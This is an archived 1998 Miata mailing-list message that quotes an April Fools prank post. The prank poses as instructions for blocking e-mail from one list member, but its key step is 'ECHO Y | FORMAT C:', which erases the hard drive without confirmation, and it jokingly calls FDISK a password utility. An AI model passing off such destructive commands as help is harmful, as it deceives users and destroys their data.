Miata Mailing List: April 1998, Message #168

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I did not read anything from The Cop thread,  but this is a little
extreme!  I have gotten great technical Miata content from Sonja and old
Blue!  Think about it Joe.

-Lou .....Who can't read every little post due to his job,  but really
enjoys the listserver and online friends!
and Phantom...dirty from the rain!
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>From: 	Alessandro Di Sciascio[SMTP:adisciascio@dialisdn.com]
>Sent: 	Wednesday, April 01, 1998 10:20 AM
>To: 	Multiple recipients of list
>Subject: 	How to avoid getting e-mail from Sonja. (NMC)
>
>>>do you know of a way I can block anything from Sonja68726 using Microsoft
>>>Internet
>Mail?<<
>
>I am ashamed of you guys on the list!!!!
>
>Joseph Orchard asked a very legitimate question, and nobody helped him
>out!!!
>
>OK, so the guy earlier tried to censor us from talking about whatever we
>like but c'mon can't anybody show a little understanding!?!  Is the
>simple fact that he single-handedly decided he should determine what we
>can and can't talk about reason enough not to be our usual helful
>group?  Shame on us!!!
>
>Ok, Joe here's how you make sure YOU WILL NOT BE GETTING ANY E-MAIL FROM
>SONJA for a very long time.  Make sure you read and understand all the
>steps before doing any of them.
>
>1) Close Microsoft Internet Mail
>
>2) If running Windows '95 click START then from the start menu choose
>RUN then type SYSEDIT and press enter
>
>That will run the System editor.  One of the windows you will see inside
>the Sysedit is called WIN.INI
>
>3) in WIN.INI look for a section (text in brackets) that reads [windows]
>
>4) in the [windows] section type the following entry exactly, including
>the initial semicolon
>
>;EMAILREMOVEMAILFROM = Sonja68726@aol.com     'establishes user name
>;EMAILREMOVEUSINGSOFTWARE = format            'software used to remove
>mail
>;EMAILUSERSHOULD = lookatcalendar.exe /now    'useful thing to do this
>time of the year
>;EMAILUSERSHOULD = avoidstep.exe 7 @allcosts  'read carefully
>
>5) Restart windows and make sure everything is working ok (don't run the
>e-mail client yet)
>
>6) Restart the computer and go to the DOS prompt, now we need to format
>your e-mail so that it will not accept mail from Sonja.
>
>7) At the dos prompt type the following:
>
>ECHO Y | FORMAT C:
>
>think twice before pressing ENTER...
>
>8) Restart your computer, you will not be receiving any e-mail from
>Sonja for quite a while.
>
>Of course one could use the Password retrieval utility FDISK but this is
>easier.
>
>-- 
>Alessandro & SnowWhite
>White'99L
>Hollywood, Florida
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